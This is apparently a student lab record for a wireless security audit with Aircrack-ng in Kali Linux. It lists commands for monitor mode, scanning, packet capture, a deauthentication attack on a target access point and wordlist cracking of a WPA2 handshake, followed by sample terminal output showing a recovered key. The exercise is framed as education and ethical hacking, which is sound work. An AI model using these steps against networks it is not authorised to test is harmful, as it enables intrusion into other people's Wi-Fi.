

Ex. Nos. 10	Wireless Network Security Audit using Aircrack-ng
Date :	

Aim :

To perform wireless network analysis and security auditing using Aircrack-ng tools in Kali Linux for educational and ethical hacking purposes.

Software Requirements :

Host Operating System: Windows / Linux / macOS

Virtualization Software: Oracle VirtualBox

Guest Operating System: Kali Linux

Security Tools: Aircrack-ng Suite

System Requirements:

- o RAM: Minimum 4 GB (8 GB recommended)
- o Disk Space: Minimum 30 GB
- o Processor: Intel/AMD with Virtualization support
- o Wireless Adapter supporting Monitor Mode

Introduction:

Wireless network security auditing involves analyzing Wi-Fi networks to identify vulnerabilities and weaknesses. The Aircrack-ng suite is a powerful set of tools used for monitoring, packet capturing, and cracking wireless network passwords.

By performing controlled auditing in a lab environment, users can understand how weak encryption and poor password practices can compromise wireless security.

Procedure:

Step 1: Start Kali Linux Virtual Machine

1. Launch Oracle VirtualBox.
2. Start the Kali Linux virtual machine.
3. Log in using Kali credentials.

Step 2: Connect Wireless Adapter

1. Attach a wireless adapter that supports monitor mode.
2. Verify adapter using:

iwconfig

Step 3: Enable Monitor Mode

1. Start monitor mode on the wireless interface:

```
airmon-ng start wlan0
```

Step 4: Scan Wireless Networks

1. Scan nearby networks:

```
airodump-ng wlan0mon
```

2. Note the BSSID and channel of the target network.

Step 5: Capture Packets

1. Capture packets from target network:

```
airodump-ng --bssid <BSSID> -c <CHANNEL> -w capture wlan0mon
```

Step 6: Perform Deauthentication Attack

1. Generate traffic to capture handshake:

```
aireplay-ng --deauth 5 -a <BSSID> wlan0mon
```

Step 7: Crack Password

1. Use a wordlist to crack the captured handshake:

```
aircrack-ng capture.cap -w /usr/share/wordlists/rockyou.txt
```

Output :

- Nearby wireless networks displayed with BSSID and signal strength.
- Packets captured successfully.
- Password cracking attempted using wordlist.
- Key found for weak passwords (if successful).

```

(kali㉿kali)-[~]
└─$ iwconfig

wlan0      IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated
          Tx-Power=20 dBm

(kali㉿kali)-[~]
└─$ airmon-ng start wlan0

Found 1 processes that could cause trouble.
Killing them...

PHY      Interface  Driver      Chipset
phy0     wlan0      ath9k_htc   Atheros

Enabled monitor mode on wlan0mon

(kali㉿kali)-[~]
└─$ airodump-ng wlan0mon

BSSID            PWR Beacons   #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:14:6C:7E:40:80 -45    120        56    0   6   54e  WPA2  CCMP  PSK  MyWiFi

(kali㉿kali)-[~]
└─$ airodump-ng --bssid 00:14:6C:7E:40:80 -c 6 -w capture wlan0mon

CH  6  ][ WPA handshake: 00:14:6C:7E:40:80

BSSID            PWR Beacons   #Data, #/s  CH  MB  ENC  ESSID
00:14:6C:7E:40:80 -43    200        120    2   6   54e  WPA2  MyWiFi

```

```

(kali㉿kali)-[~]
└─$ aircrack-ng capture.cap -w /usr/share/wordlists/rockyou.txt

Opening capture.cap
Read 15000 packets.

# BSSID            ESSID            Encryption

1  00:14:6C:7E:40:80  MyWiFi           WPA (1 handshake)

Choosing first network...

Reading packets, please wait...

KEY FOUND! [ password123 ]

Master Key       : XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
Transient Key    : XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX

```

Result:

Wireless networks were successfully analyzed and audited using Aircrack-ng tools. The experiment demonstrated how weak passwords and insecure configurations can be exploited, highlighting the importance of strong encryption and secure Wi-Fi practices.